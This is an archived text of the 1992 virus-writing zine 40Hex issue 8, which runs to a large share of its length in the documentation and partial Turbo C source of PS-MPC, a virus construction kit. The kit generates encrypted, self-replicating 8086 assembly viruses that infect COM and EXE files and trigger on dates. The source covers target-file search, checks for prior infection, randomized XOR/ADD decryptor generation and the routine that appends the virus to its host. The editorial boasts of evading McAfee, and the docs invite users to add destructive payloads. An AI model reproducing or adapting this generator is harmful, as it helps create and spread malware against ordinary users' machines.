home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / 40hex-8.arj / 40HEX-8.TXT
Encoding:
Text File  |  1992-07-29  |  179.1 KB  |  4,960 lines

  1. 40Hex Number 8 Volume 2 Issue 4                                       File 000
  2.  
  3.      Welcome to 40 Hex issue 8.  First off, this month is going to be
  4. Boot Sector Appreciation Month at 40Hex.  We will have a fully
  5. disassembled Michelangelo, along with a Pakistani Brain variant called
  6. Ashar.  But as always, there is a lot of other news that I have to
  7. discuss with all you, so on with the show.
  8.      For the last couple months, we have recieved quite a bad rap on
  9. Fidonet.  This has to do with the original SKISM Viruses (Like SKISM
  10. 1-14).  Like everyone, we had to start somewhere.  So what if our
  11. original virii blew large goats.  Judge us on some of our newer stuff.
  12. Oh, what is this you say?  You can't find our newer stuff?  Well,
  13. neither can McAfee.  Everyone will become enlightened soon enough.
  14. Other people on Fido who have been giving us a hard time, think it
  15. bothers us?  Think again, we love it!  One of our personal favorites is
  16. Gary Watson, who amuses us with each new post, and Tag Line (which are
  17. hysterical).
  18.      Secondly, Hellraiser is back as an author for 40Hex!  He currently
  19. doesn't have a modem, but he can at least do some slave work.  Great to
  20. have you back HR.
  21.      Another way in which 40Hex is going to help support virus community
  22. is by the brand new PHALCON/SKISM Macintosh Programming Team!  The four
  23. people involved in that are Renegade, Sixo, Trojan, and Wintermute!
  24. They will be cranking out a lot of quality Macintosh utilities, trojans
  25. and other interesting things very soon!  Look for them on all of our
  26. BBS's.
  27.      -=PHALCON/SKISM=- Net will be arriving to a BBS near you very soon.
  28. If you are interested, leave mail to any one of our fine support
  29. systems.
  30.  
  31.  
  32.  
  33.             40Hex-8 Table of contents
  34.  
  35.          40Hex-8.000......................You Are Here!
  36.          40Hex-8.001......................PS-MPC (MassProducedCode)
  37.          40Hex-8.002......................Putav, an expose!
  38.          40Hex-8.003......................Findav -P/S- Style
  39.          40Hex-8.004......................Checkav -P/S- Original
  40.          40Hex-8.005......................StarShip Virus Info
  41.          40Hex-8.006......................Virus Spotlite: Michelangelo
  42.          40Hex-8.007......................EXE Infectors and you
  43.          40Hex-8.008......................Disassembly of ASHAR
  44.          40Hex-8.009......................Ear-6 source en Español
  45.          40Hex-8.010......................Letter to the Editor
  46.          
  47.  
  48.     Greetings to:  The new and improved [NuKE], FirstStrike, Apache
  49. Warrior, all PHALCON/SKISM Members, Backstabbers and everyone else we
  50. forgot to greet!
  51.  
  52.                        -)GHeap
  53. 40Hex Number 8 Volume 2 Issue 4                                       File 001
  54.  
  55.     Once again, -=PHALCON/SKISM=- pisses off the PD scene.  Now anyone
  56. can make their own virus, and give it to Gary Watson, the only guy on
  57. Fidonet who we love.  Without him, we would never get the fame that we
  58. now covet so greatly.  Well, that is until we got our official Pepsi
  59. Gotta Have It Cards.  Thank you Gary.
  60.                     -) Gheap
  61. ----------------------------- Docs -n- code begin -----------------------------
  62.   
  63.   
  64.   
  65.                     PS-MPC
  66.            Pretty Slick Multimedia Personal Computer
  67.                      (NOT)
  68.            Phalcon/Skism Mass-Produced Code Generator 0.90ß
  69.                  Created by Dark Angel
  70.   
  71.   TABLE OF CONTENTS
  72.   
  73.   TABLE OF CONTENTS                                          i
  74.   DEDICATION                                                 i
  75.   DISCLAIMER                                                ii
  76.   PURPOSE                                                   ii
  77.   WHAT IS THE PS-MPC?                                        1
  78.   USING THE PS-MPC                                           1
  79.   NO ACTIVATION ROUTINES                                     1
  80.   WHY NO IDE                                                 2
  81.   SOURCE CODE AVAILABILITY                                   2
  82.   PROBLEMS                                                   2
  83.   FUTURE ENHANCEMENTS                                        2
  84.   HISTORY OF VIRUS TOOLKITS                                  A
  85.   
  86.   DEDICATION
  87.   
  88.        The author  hereby releases  this program and its source code into the
  89.   public domain  as "freeware."   All  code generated  by the  program  must,
  90.   however, retain  the designation  of said program, although all other parts
  91.   may be  modified at  the user's  discretion.   The  author  dedicates  this
  92.   program to  both the virus and anti-virus communities, both of which profit
  93.   from the introduction of the Phalcon/Skism Mass-Produced Code Generator.
  94.   
  95.        Thanks are  due to  NoWhere Man  for his  excellent program VCL, which
  96.   served as the inspiration for this package.
  97.   
  98.   
  99.   
  100.   
  101.   
  102.   
  103.   
  104.   
  105.   
  106.   
  107.   
  108.   
  109.   
  110.   
  111.   
  112.   
  113.   
  114.   
  115.   
  116.   
  117.   
  118.   
  119.   
  120.   
  121.   
  122.   
  123.   
  124.   
  125.   
  126.      PS-MPC Documentation             - i -             Phalcon/Skism 1992
  127.   
  128.   
  129.   
  130.   DISCLAIMER
  131.   
  132.        This  program  may  cause  either  the  intentional  or  unintentional
  133.   disruption of  normal brain  wave activity  of the  user due to the extreme
  134.   shock quality  of the  program.   The author hereby absolves himself of all
  135.   liability.  Persons with pacemakers beware!
  136.   
  137.        The code  produced by  the Phalcon/Skism  Mass-Produced Code Generator
  138.   is not  designed to be damaging; however, the author is not responsible for
  139.   incidental damages  caused by  use of  the program.  Further, the author is
  140.   not responsible  for damages caused by changes to the code generated by the
  141.   PS-MPC.   The author does not condone the illegal spread of executable code
  142.   created in part or in whole by the PS-MPC.  All source code and  executable
  143.   files created with the aid of the PS-MPC must be distributed with the reci-
  144.   pient's full knowledge  of the  contents.    Malicious use  of the  code is
  145.   strictly prohibited.
  146.   
  147.   PURPOSE
  148.   
  149.        The Phalcon/Skism  Mass-Produced Code  Generator is  not  designed  to
  150.   create malicious  code; rather,  it is  a learning tool from which a person
  151.   may learn  to write effective viral code.  The code generated by the PS-MPC
  152.   is highly  optimised for  both size  and speed  and is  therefore the  code
  153.   generated can  be used  by the fledgling virus writer as a model for future
  154.   endeavours.
  155.   
  156.   
  157.   
  158.   
  159.   
  160.   
  161.   
  162.   
  163.   
  164.   
  165.   
  166.   
  167.   
  168.   
  169.   
  170.   
  171.   
  172.   
  173.   
  174.   
  175.   
  176.   
  177.   
  178.   
  179.   
  180.   
  181.   
  182.   
  183.   
  184.   
  185.   
  186.   
  187.   
  188.   
  189.   
  190.   
  191.      PS-MPC Documentation            - ii -             Phalcon/Skism 1992
  192.   
  193.   
  194.   
  195.   WHAT IS THE PS-MPC?
  196.   
  197.        The  Phalcon/Skism  Mass-Produced  Code  Generator  is  a  tool  which
  198.   generates viral  code according  to user-designated  specifications.    The
  199.   output is  in Masm/Tasm-compatible  Intel 8086 assembly and it is up to the
  200.   user to  assemble the output into working executable form.  The features of
  201.   the PS-MPC include the following:
  202.   
  203.     o Over  150 encryption  techniques, randomly generated during each run of
  204.       the PS-MPC
  205.     o Compact, commented code, much tighter than VCL
  206.     o COM/EXE infections
  207.     o Two types of traversals
  208.     o Optional infection of Command.Com
  209.     o Critical error handler support
  210.   
  211.   USING THE PS-MPC
  212.   
  213.        The syntax of the PS-MPC is simple:
  214.   
  215.        PS-MPC <file1> <file2> <file3>...
  216.   
  217.        The parameters  given to the PS-MPC are the names of the configuration
  218.   files.  For example, to create two separate viruses using the configuration
  219.   files  FOOBAR1.CFG   and  FOOBAR2.CFG,   simply  type  "PS-MPC  FOOBAR1.CFG
  220.   FOOBAR2.CFG" at the prompt.
  221.   
  222.        The configuration  file is  a text file containing a set of parameters
  223.   which define  the output  of the  PS-MPC.   A  sample  configuration  file,
  224.   SKELETON.CFG is  included  with  the  package.    This  configuration  file
  225.   contains all  the acceptable  parameters that  the PS-MPC  will accept.  It
  226.   also includes  the defaults to each of these parameters.  The configuration
  227.   file is  self-explanatory, so there is no need to go into further detail at
  228.   this time.
  229.   
  230.        When the  Generator has  completed creating  the source  code  file/s,
  231.   simply assemble  the output  file/s  with  your  favorite  assembler/linker
  232.   combination.  A multi-pass assembler is recommended.  Masm is a poor choice
  233.   for an  assembler; try  Tasm.   Masm requires  the code  to  include  extra
  234.   segment overrides which unnecessarily add to the code length.  Masm 6.0 may
  235.   fix these  problems (I'm  not sure  since I  don't have  it).  Tasm, on the
  236.   other hand,  is an  excellent, fast,  multipass assembler  far superior  to
  237.   Masm.
  238.   
  239.   NO ACTIVATION ROUTINES
  240.   
  241.        I have  not included  any activation  routines in  the package  simply
  242.   because I  do not  think  the  power  of  creating  potentially-destructive
  243.   viruses should  be in  the hands  of persons  incapable of  coding a simple
  244.   activation routine  in assembly.   If  you can rip a simple FAT-annihilator
  245.   out of  another trojan,  then I  cannot stop  you from  doing so.  But just
  246.   remember that  the most  memorable viruses  are not  necessarily those that
  247.   cause the  most damage,  but are usually those that have unusual activation
  248.   routines.
  249.   
  250.        Upon finding  activation conditions,  the PS-MPC will generate a short
  251.   stub for  the activation  routine.   This is  located immediately after the
  252.   code for  the restoration of the executable files.  It is identified by the
  253.   label "activate"  and is  followed by a return.  Insert your own activation
  254.   routine between those two lines.
  255.   
  256.      PS-MPC Documentation             - 1 -             Phalcon/Skism 1992
  257.   
  258.   
  259.   
  260.   WHY NO IDE (Integrated Development Environment)
  261.   
  262.        Everyone agrees  that Microsoft  Windows is  for cripples.  Obviously,
  263.   you, the  user of  the PS-MPC, are no cripple, so you need no puny IDE with
  264.   colourful, deluxe  windows to  aid you.  If you are a cripple, go ahead and
  265.   create the  configuration file in your favorite Windows text editor.  Hell,
  266.   port the  code to  the Macintosh  and you  can be  truly crippled (although
  267.   you'll have your pretty windows and icons).
  268.   
  269.   SOURCE CODE AVAILABILITY
  270.   
  271.        This program  is distributed  with full  source code.    Although  the
  272.   source should  be self-explanatory,  I have gone back and commented several
  273.   portions in  order to facilitate understanding.  The program was written in
  274.   Turbo C  2.0 and  compiled in the tiny memory model.  I trust that you will
  275.   not hack  this program and call it your own.  Source code is available only
  276.   because I think it will aid in your understanding of the program.
  277.   
  278.   PROBLEMS
  279.   
  280.        This program  was written  hastily.    The  bulk  of  the  coding  was
  281.   completed in  under two  days.   Features were  added  by  the  process  of
  282.   accretion during  the following  week.   Needless to  say, the  code is now
  283.   extremely unmanageable.  If there is enough interest in the package, I will
  284.   rewrite it  in order  to alleviate  the strain  caused in  maintaining such
  285.   code.  This will help in adding features as the need arises.
  286.  
  287.        There MAY be some bugs in this version since it hasn't been thoroughly
  288.   tested yet.  Report all bugs to me (duh). Be sure to save the configuration
  289.   file of the faulty code so the bug may be reproduced.  Better yet, find the
  290.   problem, fix the C source, and send it to me.  Zowie!
  291.   
  292.   FUTURE ENHANCEMENTS
  293.   
  294.        As you  may have already noticed, this is a pre-1.0 release version of
  295.   the Generator.   There  are several  features which  I wish  to add  before
  296.   version 1.0.   These  include, but  are not  limited to,  resident viruses,
  297.   padded-EXE infections  (shorter routine),  and better  documentation(!).  A
  298.   few surprises  will be  thrown in as well.  I do not plan on increasing the
  299.   size of  the PS-MPC.COM file dramatically, so with every addition will come
  300.   code to  keep the  increase in  file size to a minimum.  I do not intend to
  301.   devote too  much time to the project as I personally don't actually use the
  302.   generator to spew out code for the group.
  303.   
  304.   Note: The  version included with 40Hex-8 is not the latest version.  Due to
  305.   space considerations, we could not include the source code to version 0.91ß
  306.   which is somewhat larger.
  307.   
  308.   
  309.   
  310.   
  311.   
  312.   
  313.  
  314.   
  315.   
  316.   
  317.   
  318.   
  319.   
  320.   
  321.      PS-MPC Documentation             - 2 -             Phalcon/Skism 1992
  322.   
  323.   
  324.   
  325.   HISTORY OF VIRUS TOOLKITS
  326.   
  327.        The first  known virus  toolkit was  called VCS, or Virus Construction
  328.   Set.   This program  generated a  new virus each time it was run.  However,
  329.   there were  no code differences at all between any two viruses generated by
  330.   VCS.   All viruses  generated were  1077 bytes  in length  and all could be
  331.   detected with  the identical  scan string.   The advantage in this approach
  332.   was that  the user  needed absolutely no knowledge of 8086 assembly to take
  333.   advantage of this program.  This program of limited usefulness spawned only
  334.   one well-known variant called Manta.  It is not even worth mentioning here.
  335.   
  336.        The second  virus toolkit  was CrazySoft, Inc.'s Dark Avenger Mutation
  337.   Engine (MtE).   This  magnificent work  of Bulgarian  coding allowed  virus
  338.   authors to  create viruses  with an  almost limitless  number of decryption
  339.   routines.   Although the  author needed  to know how to write 8086 assembly
  340.   code, no  knowledge of  the inner workings of MtE save the entry parameters
  341.   was needed  to use  this toolkit.   It  has since  spawned several viruses,
  342.   including Dedicated, Pogue, Fear, and Groove.
  343.   
  344.        The next  virus toolkit  to be released was VCL, or Virus Construction
  345.   Laboratory.  This was written by NoWhere Man of NuKE.  This toolkit allowed
  346.   the user  many options,  including the creation of parasitic COM infectors,
  347.   spawning EXE infectors, trojan horses and logic bombs.  Since it could only
  348.   handle parasitic  infections of  the COM  file format,  it was  of  limited
  349.   usefulness.   Additionally, it  incorporated only  one decryption  formula,
  350.   once again  limiting its usefulness.  Further, the initial release included
  351.   a quirky  installation program  which  failed  to  install  properly  under
  352.   certain conditions.   However,  this  package  contained  a  colourful  IDE
  353.   loosely based  on the Borland interface.  This IDE was incredibly simple to
  354.   use and  even the  average Joe  could understand  how  to  use  it  without
  355.   understanding 80x86  assembly.    Unfortunately,  the  activation  routines
  356.   included with  the package  were of  limited usefulness.    Most  of  these
  357.   involved manipulating the BIOS memory area at segment 40h.
  358.   
  359.   
  360.   
  361.   
  362.   
  363.   
  364.   
  365.   
  366.   
  367.   
  368.   
  369.   
  370.   
  371.   
  372.   
  373.   
  374.   
  375.   
  376.   
  377.   
  378.   
  379.   
  380.   
  381.   
  382.   
  383.   
  384.   
  385.   
  386.      PS-MPC Documentation             - A -             Phalcon/Skism 1992
  387.   
  388. ------------------------------ Source code begins -----------------------------
  389. /* FILE: VHEADER.H */
  390. #ifndef __VHEADER_H
  391. #define __VHEADER_H
  392.  
  393. /* infect */
  394. #define COM     1
  395. #define EXE     2
  396.  
  397. /* traverse */
  398. #define NONE    0
  399. #define DOT_DOT 1
  400.  
  401. typedef struct {
  402.   char always;
  403.   char number;
  404.   char month;
  405.   char day;
  406.   int  year;
  407.   char dow;
  408.   int  monthday;
  409.   char hour;
  410.   char minute;
  411.   char second;
  412.   char percentage;
  413. } activation_conditions;
  414.  
  415. typedef struct {
  416.   unsigned infectCOM   : 1;
  417.   unsigned infectEXE   : 1;
  418.   unsigned traverse    : 1;       /* Currently only two types */
  419.   unsigned encrypt     : 1;
  420.   unsigned int24       : 1;
  421.   unsigned CommandCom  : 1;
  422.   unsigned allowzero   : 1;
  423.   unsigned calls_check : 1;
  424. } parameters;
  425.  
  426. typedef struct {
  427.   char       configfilename[80];
  428.   char       asmfilename[80];
  429.   char       id[3];
  430.   char       virusname[80];
  431.   char       virusnamedelim;
  432.   char       authorname[80];
  433.   char       authornamedelim;
  434.   unsigned   minsize, maxsize;
  435.   char       maxinfect;
  436.   parameters p;
  437.   char       xor_value;
  438.   char       xor_comment[40];
  439.   char       activation;
  440.   activation_conditions activate, plusminus;
  441. } globals;
  442.  
  443. /* prototypes from vmain.c */
  444. void print(char *s, char *t);
  445. void printlabel(char *s, char *t);
  446. void addvar(char *s, char *t, char *u);
  447. void printblank(void);
  448.  
  449. /* prototypes from vheap.c */
  450. void addheap(char *s, char *t, char *u);
  451. void _addheap(char *s);
  452. void resetheap(void);
  453.  
  454. /* code generating prototypes */
  455. void code_header(void);
  456. void code_encryption(void);
  457. void code_setup(void);
  458. void code_traversal(void);
  459. void code_check_activation(void);
  460. void code_return(void);
  461. void code_activate(void);
  462. void code_messages(void);
  463. void code_check(void);
  464. void code_infect(void);
  465. void code_subroutines(void);
  466. void code_variables(void);
  467. void code_heap(void);
  468. void code_tail(void);
  469.  
  470. #ifndef MAIN
  471. extern globals config;
  472. #endif
  473.  
  474. #endif /* __VHEADER_H */
  475. ----------------------------------- Cut Here ----------------------------------
  476. /* FILE: VACTIVE.C */
  477. #include "vheader.h"
  478.  
  479. void code_activate(void)
  480. {
  481.   if (config.activation)
  482.   {
  483.     printlabel("activate:","Conditions satisfied");
  484.     printlabel("; Insert your activation code here","");
  485.     print("jmp  exit_virus","");
  486.     printblank();
  487.   }
  488. }
  489. ----------------------------------- Cut Here ----------------------------------
  490. /* FILE: VCACTIVE.C */
  491. #include "vheader.h"
  492.  
  493. void code_get_date(void);
  494. void code_get_time(void);
  495. void code_jmp(char c);
  496.  
  497. char coded_date, coded_time, Activation;
  498.  
  499. void code_check_activation(void)
  500. {
  501.   char b[80];
  502.  
  503.   coded_date = coded_time = 0;
  504.   Activation = config.activation;
  505.  
  506.   if (config.activate.always)
  507.     printlabel("jmp  activate","Always activate");
  508.   else {
  509.     if (config.activate.month) {
  510.       code_get_date();
  511.       sprintf(b,"cmp  dh,%d",config.activate.month);
  512.       print(b,"Check month");
  513.       code_jmp(config.plusminus.month);
  514.     }
  515.     if (config.activate.day) {
  516.       code_get_date();
  517.       sprintf(b,"cmp  dl,%d",config.activate.day);
  518.       print(b,"Check date");
  519.       code_jmp(config.plusminus.day);
  520.     }
  521.     if (config.activate.year) {
  522.       code_get_date();
  523.       sprintf(b,"cmp  cx,%u",config.activate.year);
  524.       print(b,"Check year");
  525.       code_jmp(config.plusminus.year);
  526.     }
  527.     if (config.activate.dow != 255) {
  528.       code_get_date();
  529.       sprintf(b,"cmp  al,%d",config.activate.dow);
  530.       print(b,"Check date of week");
  531.       code_jmp(config.plusminus.dow);
  532.     }
  533.     if (config.activate.monthday) {
  534.       code_get_date();
  535.       sprintf(b,"cmp  dx,0%xuh",config.activate.monthday);
  536.       print(b,"Check month/date");
  537.       code_jmp(config.plusminus.monthday);
  538.     }
  539.  
  540.     if (coded_date) printblank();
  541.  
  542.     if (config.activate.hour != 255) {
  543.       code_get_time();
  544.       sprintf(b,"cmp  ch,%d",config.activate.hour);
  545.       print(b,"Check the hour");
  546.       code_jmp(config.plusminus.hour);
  547.     }
  548.     if (config.activate.minute != 255) {
  549.       code_get_time();
  550.       sprintf(b,"cmp  cl,%d",config.activate.minute);
  551.       print(b,"Check the minute");
  552.       code_jmp(config.plusminus.minute);
  553.     }
  554.     if (config.activate.second != 255) {
  555.       code_get_time();
  556.       sprintf(b,"cmp  dh,%d",config.activate.second);
  557.       print(b,"Check the seconds");
  558.       code_jmp(config.plusminus.second);
  559.     }
  560.     if (config.activate.percentage) {
  561.       code_get_time();
  562.       sprintf(b,"cmp  dl,%d",config.activate.percentage);
  563.       print(b,"Check the percentage");
  564.       code_jmp(-1);
  565.  
  566.     if (coded_time) printblank();
  567.     }
  568.   }
  569. }
  570.  
  571. void code_jmp(char c)
  572. {
  573.   if (--Activation) {
  574.     if (c == 1)
  575.       print("jb   exit_virus","");
  576.     else if (c == 0)
  577.       print("jnz  exit_virus","");
  578.     else if (c == 255)
  579.       print("ja   exit_virus","");
  580.   } else {
  581.     if (c == 1)
  582.       print("jae  config.activate","");
  583.     else if (c == 0)
  584.       print("jz   config.activate","");
  585.     else if (c == 255)
  586.       print("jbe  config.activate","");
  587.   }
  588. }
  589.  
  590. void code_get_date(void)
  591. {
  592.   if (!coded_date) {
  593.     print("mov  ah,2ah","Get current date");
  594.     print("int  21h","");
  595.     coded_date++;
  596.   }
  597. }
  598.  
  599. void code_get_time(void)
  600. {
  601.   if (!coded_time) {
  602.     print("mov  ah,2ch","Get current time");
  603.     print("int  21h","");
  604.     coded_time++;
  605.   }
  606. }
  607. ----------------------------------- Cut Here ----------------------------------
  608. /* FILE: VCHECK.C */
  609. #include "vheader.h"
  610.  
  611. void checkCOM(void);
  612.  
  613. void code_check(void)
  614. {
  615.   if (config.p.calls_check)
  616.     printlabel("infect_mask:","");
  617.   print("mov  ah,4eh","find first file");
  618.   print("mov  cx,7","any attribute");
  619.   printlabel("findfirstnext:","");
  620.   print("int  21h","DS:DX points to mask");
  621.   if (config.p.calls_check)
  622.     print("jc   exit_infect_mask","No mo files found");
  623.   else
  624.     print("jc   done_infections","No mo files found");
  625.   printblank();
  626.   print("mov  al,0h","Open read only");
  627.   print("call open","");
  628.   printblank();
  629.   print("mov  ah,3fh","Read file to buffer");
  630.   print("lea  dx,[bp+buffer]","@ DS:DX");
  631.   print("mov  cx,1Ah","1Ah bytes");
  632.   print("int  21h","");
  633.   printblank();
  634.   print("mov  ah,3eh","Close file");
  635.   print("int  21h","");
  636.   printblank();
  637.   if (config.p.infectEXE) {
  638.     if (config.p.infectCOM) {
  639.       print("cmp  word ptr [bp+buffer],'ZM'","EXE?");
  640.       print("jz   checkEXE","Why yes, yes it is!");
  641.       checkCOM();
  642.     }
  643.     printlabel("checkEXE: cmp  word ptr [bp+buffer+10h],id","is it already infected?");
  644.     print("jnz  infect_exe","");
  645.   } else
  646.     checkCOM();
  647.   printlabel("find_next:","");
  648.   print("mov  ah,4fh","find next file");
  649.   print("jmp  short findfirstnext","");
  650.   if (config.p.calls_check) {
  651.     printlabel("exit_infect_mask: ret","");
  652.     printblank();
  653.   }
  654. }
  655.  
  656. void checkCOM(void)
  657. {
  658.   char s[80];
  659.  
  660.   printlabel("checkCOM:","");
  661.   if (!config.p.CommandCom)
  662.   {
  663.     print("mov  ax,word ptr [bp+newDTA+35]","Get tail of filename");
  664.     print("cmp  ax,'DN'","Ends in ND? (commaND)");
  665.     print("jz   find_next","");
  666.     printblank();
  667.   }
  668.   print("mov  ax,word ptr [bp+newDTA+1Ah]","Filesize in DTA");
  669.   if (config.minsize)
  670.   {
  671.     if (config.minsize == 1) /* automatic calculation */
  672.       if (config.p.encrypt)
  673.     strcpy(s,"cmp  ax,(heap-decrypt)");
  674.       else
  675.     strcpy(s,"cmp  ax,(heap-startvirus)");
  676.     else  /* if (minsize != 1) */
  677.       sprintf(s,"cmp  ax,%u",config.minsize);
  678.     print(s,"Is it too small?");
  679.     print("jb   find_next","");
  680.     printblank();
  681.   }
  682.   if (config.maxsize)
  683.   {
  684.     if (config.maxsize == 1) /* automatic calculation */
  685.       if (config.p.encrypt)
  686.     strcpy(s,"cmp  ax,65535-(endheap-decrypt)");
  687.       else
  688.     strcpy(s,"cmp  ax,65535-(endheap-startvirus)");
  689.     else
  690.       sprintf(s,"cmp  ax,%u",config.maxsize);
  691.     print(s,"Is it too large?");
  692.     print("ja   find_next","");
  693.     printblank();
  694.   }
  695.  
  696.   print("mov  bx,word ptr [bp+buffer+1]","get jmp location");
  697.   if (config.p.encrypt)
  698.     print("add  bx,heap-decrypt+3","Adjust for virus size");
  699.   else
  700.     print("add  bx,heap-startvirus+3","Adjust for virus size");
  701.   print("cmp  ax,bx","");
  702.   print("je   find_next","already infected");
  703.   print("jmp  infect_com","");
  704. }
  705. ----------------------------------- Cut Here ----------------------------------
  706. /* VENCRYPT.C */
  707. #include <stdlib.h>
  708.  
  709. #include "vheader.h"
  710.  
  711. void code_loop_count(void);
  712. void code_loop_start(void);
  713. void code_decrypt_code(void);
  714.  
  715. char mem_counter;
  716. char mem_registers[4][3] = {
  717.   "bx",
  718.   "bp",
  719.   "si",
  720.   "di"
  721. };
  722.  
  723. char loop_counter;
  724. char loop_registers[7][3] = {
  725.   "ax", "bx", "cx", "dx", "bp", "si", "di"
  726. };
  727.  
  728. char xor_registers[4][2] = {
  729.   { 0x81, 0x37 },
  730.   { 0x81, 0x76 },
  731.   { 0x81, 0x34 },
  732.   { 0x81, 0x35 }
  733. };
  734.  
  735. char add_registers[4][2] = {
  736.     { 0x81, 0x07 }, /* add [bx],xxxx / db 81h, 7h,xxh,xxh    */
  737.     { 0x81, 0x46 }, /* add [bp],xxxx / db 81h,46h,00,xxh,xxh */
  738.     { 0x81, 0x04 },
  739.     { 0x81, 0x05 },
  740. };
  741.  
  742. void code_encryption(void)
  743. {
  744.   if (config.p.encrypt) {
  745.     srand(peek(0,0x46C));
  746.     printlabel("decrypt:","handles encryption and decryption");
  747.     if ((loop_counter = random(10)) > 6)   /* if out of bounds */
  748.       loop_counter = 2;                    /* set it = to cx   */
  749.     while (1) {
  750.       mem_counter = random(4);
  751.       if (strcmp(mem_registers[mem_counter = random(4)],
  752.     loop_registers[loop_counter]))
  753.     break;
  754.     }
  755.     if (random(2)) {
  756.       code_loop_count();
  757.       code_loop_start();
  758.     } else {
  759.       code_loop_start();
  760.       code_loop_count();
  761.     }
  762.     code_decrypt_code();
  763.   }
  764. }
  765.  
  766. void code_loop_count(void)
  767. {
  768.   char b[80];
  769.   sprintf(b,"mov  %s,(offset heap - offset startencrypt)/2",
  770.       loop_registers[loop_counter]);
  771.   print(b,"iterations");
  772. }
  773.  
  774. void code_loop_start(void)
  775. {
  776.   char b[80];
  777.   printlabel("patch_startencrypt:","");
  778.   sprintf(b,"mov  %s,offset startencrypt",
  779.       mem_registers[mem_counter]);
  780.   print(b,"start of decryption");
  781. }
  782.  
  783. void code_decrypt_code(void)
  784. {
  785.     char b[80],c[80];
  786.     printlabel("decrypt_loop:","");
  787.     config.xor_value = 0;
  788.     switch (random(2))
  789.     {
  790.       case 0 : sprintf(b,"db   %s%2.2xh,%2.2xh%s",
  791.            (config.p.infectEXE) ? "2eh," : "", xor_registers[mem_counter][0],
  792.            xor_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
  793.  
  794.            sprintf(c,"xor word ptr %s[%s], xxxx",
  795.            (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
  796.            break;
  797.       case 1 : sprintf(b,"db   %s%2.2xh,%2.2xh%s",
  798.            (config.p.infectEXE) ? "2eh," : "", add_registers[mem_counter][0],
  799.            add_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
  800.  
  801.            sprintf(c,"add word ptr %s[%s], xxxx",
  802.            (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
  803.            config.xor_value = 0x28;
  804.            strcpy(config.xor_comment,"flip between add/sub");
  805.            break;
  806.     }
  807.     print(b,c);
  808.     printlabel("decrypt_value dw 0","initialised at zero for null effect");
  809.     sprintf(c,"inc  %s",mem_registers[mem_counter]);
  810.     print(c,"calculate new decryption location");
  811.     print(c,"");
  812.     if (loop_counter - 2)
  813.     {
  814.       sprintf(b,"dec  %s",loop_registers[loop_counter]);
  815.       print(b,"If we are not done, then");
  816.       print("jnz  decrypt_loop","decrypt mo'");
  817.     } else
  818.       print("loop decrypt_loop","decrypt mo'");
  819.     printlabel("startencrypt:","");
  820. }
  821. ----------------------------------- Cut Here ----------------------------------
  822. /* FILE: VHEADER.C */
  823. #include "vheader.h"
  824.  
  825. void code_header(void)
  826. {
  827.   char b[80];
  828.   sprintf(b,"; %s : %s by %s",config.asmfilename,
  829.      (config.virusname[0]) ? config.virusname : "Unknown",
  830.      (config.authorname[0])? config.authorname: "Unknown");
  831.   printlabel(b,"");
  832.   printlabel("; Created wik the Phalcon/Skism Mass-Produced Code Generator","");
  833.   sprintf(b,"; from the configuration file %s",config.configfilename);
  834.   printlabel(b,"");
  835.   printblank();
  836.   printlabel(".model tiny","Handy directive");
  837.   printlabel(".code","Virus code segment");
  838.   print("org    100h","COM file starting IP\n");
  839.   if (config.p.infectEXE)
  840.   {
  841.     sprintf(b,"id = '%s'",config.id);
  842.     printlabel(b,"ID word for EXE infections");
  843.   }
  844.   if (config.p.infectCOM)
  845.     if (config.p.encrypt)
  846.       printlabel("entry_point: db 0e9h,0,0","jmp decrypt");
  847.     else
  848.       printlabel("entry_point: db 0e9h,0,0","jmp startvirus");
  849.   printblank();
  850. }
  851. ----------------------------------- Cut Here ----------------------------------
  852. /* FILE: VHEAP.C */
  853. #include "vheader.h"
  854.  
  855. char heap[30][80];
  856. char max;
  857.  
  858. void code_heap(void)
  859. {
  860.   printlabel("heap:","Variables not in code");
  861.   if (max)
  862.     while (max--)
  863.       printlabel(heap[max],"");
  864.   else
  865.     printlabel("; No heap to speak of","");
  866.   printlabel("endheap:","End of virus");
  867. }
  868.  
  869. void addheap(char *s, char *t, char *u)
  870. {
  871.   if (*u)
  872.     sprintf(heap[max++],"%-20.20s%-20.20s; %-37.37s",s,t,u);
  873.   else
  874.     sprintf(heap[max++],"%-20.20s%s",s,t);
  875. }
  876.  
  877. void _addheap(char *s)
  878. {
  879.   strcpy(heap[max++],s);
  880. }
  881.  
  882. void resetheap(void)
  883. {
  884.     max=0;
  885. }
  886. ----------------------------------- Cut Here ----------------------------------
  887. /* FILE: VINFECT.C */
  888. #include "vheader.h"
  889.  
  890. void write_encrypt(void);
  891. void code_infect_EXE(void);
  892.  
  893. void code_infect(void)
  894. {
  895.   if (config.p.infectEXE) {
  896.     printlabel("infect_exe:","");
  897.     code_infect_EXE();
  898.     if (config.p.infectCOM)
  899.       print("jmp  short finishinfection","");
  900.   }
  901.   if (config.p.infectCOM) {
  902.     printlabel("infect_com:","ax = filesize");
  903.     print("mov  cx,3","");
  904.     print("sub  ax,cx","");
  905.     print("lea  si,[bp+offset buffer]","");
  906.     print("lea  di,[bp+offset save3]","");
  907.     print("movsw","");
  908.     print("movsb","");
  909.     print("mov  byte ptr [si-3],0e9h","");
  910.     print("mov  word ptr [si-2],ax","");
  911.     if (config.p.encrypt)
  912.     {
  913.       print("add  ax,103h","");
  914.       print("push ax","needed later");
  915.     }
  916.   }
  917.   printlabel("finishinfection:","");
  918.   print("push cx","Save # bytes to write");
  919.   print("xor  cx,cx","Clear attributes");
  920.   print("call attributes","Set file attributes");
  921.   printblank();
  922.   print("mov  al,2","");
  923.   print("call open","");
  924.   printblank();
  925.   print("mov  ah,40h","Write to file");
  926.   print("lea  dx,[bp+buffer]","Write from buffer");
  927.   print("pop  cx","cx bytes");
  928.   print("int  21h","");
  929.   printblank();
  930.   print("mov  ax,4202h","Move file pointer");
  931.   print("xor  cx,cx","to end of file");
  932.   print("cwd","xor dx,dx");
  933.   print("int  21h","");
  934.   printblank();
  935.   if (config.p.encrypt) {
  936.     write_encrypt();
  937.   } else {
  938.     print("mov  ah,40h","Concatenate virus");
  939.     print("lea  dx,[bp+startvirus]","");
  940.     print("mov  cx,heap-startvirus","# bytes to write");
  941.     print("int  21h","");
  942.     printblank();
  943.   }
  944.   print("mov  ax,5701h","Restore creation date/time");
